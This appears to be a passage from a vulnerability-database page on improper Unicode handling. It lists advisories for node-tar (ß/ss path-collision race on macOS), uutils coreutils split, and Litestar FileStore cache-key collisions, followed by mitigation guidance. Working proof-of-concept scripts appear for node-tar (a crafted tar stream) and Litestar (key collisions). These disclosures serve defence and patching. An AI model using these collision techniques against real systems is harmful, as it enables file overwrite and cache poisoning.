total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 

PoC

const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});


Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.


Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.


Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.5.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "tar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-367"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-21T01:05:49Z",
    "nvd_published_at": "2026-01-20T01:15:57Z",
    "severity": "HIGH"
  },
  "details": "**TITLE**: Race Condition in node-tar Path Reservations via Unicode Sharp-S (\u00df) Collisions on macOS APFS\n\n**AUTHOR**: Tom\u00e1s Illuminati\n\n### Details\n\nA race condition vulnerability exists in `node-tar` (v7.5.3) this is to an incomplete handling of Unicode path collisions in the `path-reservations` system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., `\u00df` and `ss`), allowing them to be processed in parallel. This bypasses the library\u0027s internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a `PathReservations` system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.\n\n```typescript\n// node-tar/src/path-reservations.ts (Lines 53-62)\nreserve(paths: string[], fn: Handler) {\n    paths =\n      isWindows ?\n        [\u0027win32 parallelization disabled\u0027]\n      : paths.map(p =\u003e {\n          return stripTrailingSlashes(\n            join(normalizeUnicode(p)), // \u003c- THE PROBLEM FOR MacOS FS\n          ).toLowerCase()\n        })\n\n```\n\nIn MacOS the ```join(normalizeUnicode(p)), ``` FS confuses \u00df with ss, but this code does not. For example:\n\n``````bash\nbash-3.2$ printf \"CONTENT_SS\\n\" \u003e collision_test_ss\nbash-3.2$ ls\ncollision_test_ss\nbash-3.2$ printf \"CONTENT_ESSZETT\\n\" \u003e collision_test_\u00df\nbash-3.2$ ls -la\ntotal 8\ndrwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .\ndrwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..\n-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss\nbash-3.2$ \n``````\n\n---\n\n### PoC\n\n``````javascript\nconst tar = require(\u0027tar\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst { PassThrough } = require(\u0027stream\u0027);\n\nconst exploitDir = path.resolve(\u0027race_exploit_dir\u0027);\nif (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });\nfs.mkdirSync(exploitDir);\n\nconsole.log(\u0027[*] Testing...\u0027);\nconsole.log(`[*] Extraction target: ${exploitDir}`);\n\n// Construct stream\nconst stream = new PassThrough();\n\nconst contentA = \u0027A\u0027.repeat(1000);\nconst contentB = \u0027B\u0027.repeat(1000);\n\n// Key 1: \"f_ss\"\nconst header1 = new tar.Header({\n    path: \u0027collision_ss\u0027,\n    mode: 0o644,\n    size: contentA.length,\n});\nheader1.encode();\n\n// Key 2: \"f_\u00df\"\nconst header2 = new tar.Header({\n    path: \u0027collision_\u00df\u0027,\n    mode: 0o644,\n    size: contentB.length,\n});\nheader2.encode();\n\n// Write to stream\nstream.write(header1.block);\nstream.write(contentA);\nstream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding\n\nstream.write(header2.block);\nstream.write(contentB);\nstream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding\n\n// End\nstream.write(Buffer.alloc(1024));\nstream.end();\n\n// Extract\nconst extract = new tar.Unpack({\n    cwd: exploitDir,\n    // Ensure jobs is high enough to allow parallel processing if locks fail\n    jobs: 8 \n});\n\nstream.pipe(extract);\n\nextract.on(\u0027end\u0027, () =\u003e {\n    console.log(\u0027[*] Extraction complete\u0027);\n\n    // Check what exists\n    const files = fs.readdirSync(exploitDir);\n    console.log(\u0027[*] Files in exploit dir:\u0027, files);\n    files.forEach(f =\u003e {\n        const p = path.join(exploitDir, f);\n        const stat = fs.statSync(p);\n        const content = fs.readFileSync(p, \u0027utf8\u0027);\n        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);\n    });\n\n    if (files.length === 1 || (files.length === 2 \u0026\u0026 fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {\n        console.log(\u0027\\[*] GOOD\u0027);\n    } else {\n        console.log(\u0027[-] No collision\u0027);\n    }\n});\n\n``````\n\n---\n\n### Impact\nThis is a **Race Condition** which enables **Arbitrary File Overwrite**. This vulnerability affects users and systems using **node-tar on macOS (APFS/HFS+)**. Because of using `NFD` Unicode normalization (in which `\u00df` and `ss` are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which `\u00df` causes an inode collision with `ss`)). This enables an attacker to circumvent internal parallelization locks (`PathReservations`) using conflicting filenames within a malicious tar archive.\n\n---\n\n### Remediation\n\nUpdate `path-reservations.js` to use a normalization form that matches the target filesystem\u0027s behavior (e.g., `NFKD`), followed by first `toLocaleLowerCase(\u0027en\u0027)` and then `toLocaleUpperCase(\u0027en\u0027)`.\n\nUsers who cannot upgrade promptly, and who are programmatically using `node-tar` to extract arbitrary tarball data should filter out all `SymbolicLink` entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.\n\n---",
  "id": "GHSA-r6q2-hw4h-h46w",
  "modified": "2026-03-16T14:23:26Z",
  "published": "2026-01-21T01:05:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-r6q2-hw4h-h46w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23950"
    },
    {
      "type": "WEB",
      "url": "https://github.com/isaacs/node-tar/commit/3b1abfae650056edfabcbe0a0df5954d390521e6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/isaacs/node-tar"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS"
}

GHSA-VX9M-XJWF-8CQM

Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-04-30 17:56
VLAI
Summary
uutils coreutils has an Improper Handling of Unicode Encoding Issue
Details

A logic error in the split utility of uutils coreutils causes the corruption of output filenames when provided with non-UTF-8 prefix or suffix inputs. The implementation utilizes to_string_lossy() when constructing chunk filenames, which automatically rewrites invalid byte sequences into the UTF-8 replacement character (U+FFFD). This behavior diverges from GNU split, which preserves raw pathname bytes intact. In environments utilizing non-UTF-8 encodings, this vulnerability leads to the creation of files with incorrect names, potentially causing filename collisions, broken automation, or the misdirection of output data.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "coreutils"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-30T17:56:29Z",
    "nvd_published_at": "2026-04-22T17:16:42Z",
    "severity": "LOW"
  },
  "details": "A logic error in the split utility of uutils coreutils causes the corruption of output filenames when provided with non-UTF-8 prefix or suffix inputs. The implementation utilizes to_string_lossy() when constructing chunk filenames, which automatically rewrites invalid byte sequences into the UTF-8 replacement character (U+FFFD). This behavior diverges from GNU split, which preserves raw pathname bytes intact. In environments utilizing non-UTF-8 encodings, this vulnerability leads to the creation of files with incorrect names, potentially causing filename collisions, broken automation, or the misdirection of output data.",
  "id": "GHSA-vx9m-xjwf-8cqm",
  "modified": "2026-04-30T17:56:29Z",
  "published": "2026-04-22T18:31:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35375"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/pull/11397"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/commit/d2b9550fe821a9a10bf0cec057509211357363f1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/uutils/coreutils"
    },
    {
      "type": "WEB",
      "url": "https://github.com/uutils/coreutils/releases/tag/0.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "uutils coreutils has an Improper Handling of Unicode Encoding Issue"
}

GHSA-VXQX-RH46-Q2PG

Vulnerability from github – Published: 2026-02-09 17:19 – Updated: 2026-02-09 22:38
VLAI
Summary
Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)
Details

Summary

FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)

Details

litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter). This transformation is not injective, e.g.:

  • "k-" and "k45" both become "k45" (because - ord('-') == 45)
  • "k/\n" becomes "k4710", colliding with "k4710"
  • "K" (Kelvin sign) normalizes to "K", colliding with "K"

When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.

PoC

import asyncio, tempfile
from litestar.stores.file import FileStore

async def main():
    d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
    store = FileStore(d, create_directories=True)
    await store.__aenter__()

    # 1) ASCII ord-collision: "-" -> 45
    await store.set("k-", b"A")
    v = await store.get("k45")
    print("k-  ->", v)
    print("k45 ->", await store.get("k45"))
    if v == b"A":
        print("VULNERABLE: 'k-' collides with 'k45'")

    # 2) NFKD collision: Kelvin sign -> K
    await store.set("K", b"B")   # U+212A
    v2 = await store.get("K")
    print("K ->", await store.get("K"))
    print("K ->", v2)
    if v2 == b"B":
        print("VULNERABLE: 'K' collides with 'K' (NFKD)")

if __name__ == "__main__":
    asyncio.run(main())

Impact

Vulnerability type: cache poisoning / cache key collision. Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore). Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "litestar"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.19.0"
            },
            {
              "fixed": "2.20.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.19.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25480"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-176",
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-09T17:19:06Z",
    "nvd_published_at": "2026-02-09T20:15:57Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nFileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)\n\n### Details\nlitestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize(\"NFKD\", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).\nThis transformation is not injective, e.g.:\n\n- \"k-\" and \"k45\" both become \"k45\" (because - ord(\u0027-\u0027) == 45)\n- \"k/\\n\" becomes \"k4710\", colliding with \"k4710\"\n- \"\u212a\" (Kelvin sign) normalizes to \"K\", colliding with \"K\"\n\nWhen used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.\n\n### PoC\n\n```\nimport asyncio, tempfile\nfrom litestar.stores.file import FileStore\n\nasync def main():\n    d = tempfile.mkdtemp(prefix=\"ls_filestore_poc_\")\n    store = FileStore(d, create_directories=True)\n    await store.__aenter__()\n\n    # 1) ASCII ord-collision: \"-\" -\u003e 45\n    await store.set(\"k-\", b\"A\")\n    v = await store.get(\"k45\")\n    print(\"k-  -\u003e\", v)\n    print(\"k45 -\u003e\", await store.get(\"k45\"))\n    if v == b\"A\":\n        print(\"VULNERABLE: \u0027k-\u0027 collides with \u0027k45\u0027\")\n\n    # 2) NFKD collision: Kelvin sign -\u003e K\n    await store.set(\"\u212a\", b\"B\")   # U+212A\n    v2 = await store.get(\"K\")\n    print(\"\u212a -\u003e\", await store.get(\"\u212a\"))\n    print(\"K -\u003e\", v2)\n    if v2 == b\"B\":\n        print(\"VULNERABLE: \u0027\u212a\u0027 collides with \u0027K\u0027 (NFKD)\")\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\n### Impact\nVulnerability type: cache poisoning / cache key collision.\nImpacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).\nPossible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.",
  "id": "GHSA-vxqx-rh46-q2pg",
  "modified": "2026-02-09T22:38:14Z",
  "published": "2026-02-09T17:19:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-vxqx-rh46-q2pg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25480"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/commit/85db6183a76f8a6b3fd6ee3c88d860b9f37a2cca"
    },
    {
      "type": "WEB",
      "url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/litestar-org/litestar"
    },
    {
      "type": "WEB",
      "url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Litestar\u0027s FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)"
}

Mitigation MIT-44
Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-20
Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

CAPEC-71: Using Unicode Encoding to Bypass Validation Logic

An attacker may provide a Unicode string to a system component that is not Unicode aware and use that to circumvent the filter or cause the classifying mechanism to fail to properly understanding the request. That may allow the attacker to slip malicious data past the content filter and/or possibly cause the application to route the request incorrectly.